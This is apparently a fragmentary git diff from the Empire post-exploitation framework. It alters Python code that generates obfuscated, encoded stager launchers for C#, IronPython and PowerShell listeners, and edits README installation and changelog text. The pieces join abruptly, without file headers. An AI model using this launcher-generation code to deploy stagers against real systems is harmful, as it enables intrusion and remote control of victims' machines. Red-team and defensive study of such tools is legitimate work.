- stagerRetries=stager_retries,
- )
+ if language in ["csharp", "ironpython"]:
+ if (
+ self.mainMenu.listenersv2.get_active_listener_by_name(
+ listener_name
+ ).info["Name"]
+ != "HTTP[S]"
+ ):
+ log.error(
+ "Only HTTP[S] listeners are supported for C# and IronPython stagers."
+ )
+ return ""
+
+ launcher = self.mainMenu.stagers.generate_exe_oneliner(
+ language=language,
+ obfuscate=obfuscate_script,
+ obfuscation_command=obfuscate_command,
+ encode=encode,
+ listener_name=listener_name,
+ )
+
+ elif language == "powershell":
+ launcher = self.mainMenu.stagers.generate_launcher(
+ listener_name,
+ language=language,
+ encode=encode,
+ obfuscate=obfuscate_script,
+ obfuscation_command=obfuscate_command,
+ userAgent=user_agent,
+ proxy=proxy,
+ proxyCreds=proxy_creds,
+ stagerRetries=stager_retries,
+ )
if launcher == "":
- print(helpers.color("[!] Error in launcher command generation."))
+ log.error("[!] Error in launcher command generation.")
return ""
else:
code = "
](https://www.sans.org/cyber-security-courses/red-team-operations-adversary-emulation/)
-[
](https://kovert.no/)
[
](https://www.cybrary.it/)
@@ -55,7 +54,11 @@ Empire is a post-exploitation and adversary emulation framework that is used to
Please see our [Releases](https://github.com/BC-SECURITY/Empire/releases) or [Changelog](/changelog) page for detailed release notes.
### Quickstart
-Empire has server client architecture which requires running each in separate terminals.
+When cloning this repository, you will need to recurse submodules.
+```sh
+git clone --recursive https://github.com/BC-SECURITY/Empire.git
+```
+
Check out the [Installation Page](https://bc-security.gitbook.io/empire-wiki/quickstart/installation) for install instructions.
Note: The `main` branch is a reflection of the latest changes and may not always be stable.
@@ -88,12 +91,14 @@ sudo ./setup/install.sh
```
Check out the [Empire Docs](https://bc-security.gitbook.io/empire-wiki/) for more instructions on installing and using with Empire.
-For a complete list of the 4.0 changes, see the [changelog](./changelog).
+For a complete list of changes, see the [changelog](./changelog).
## Starkiller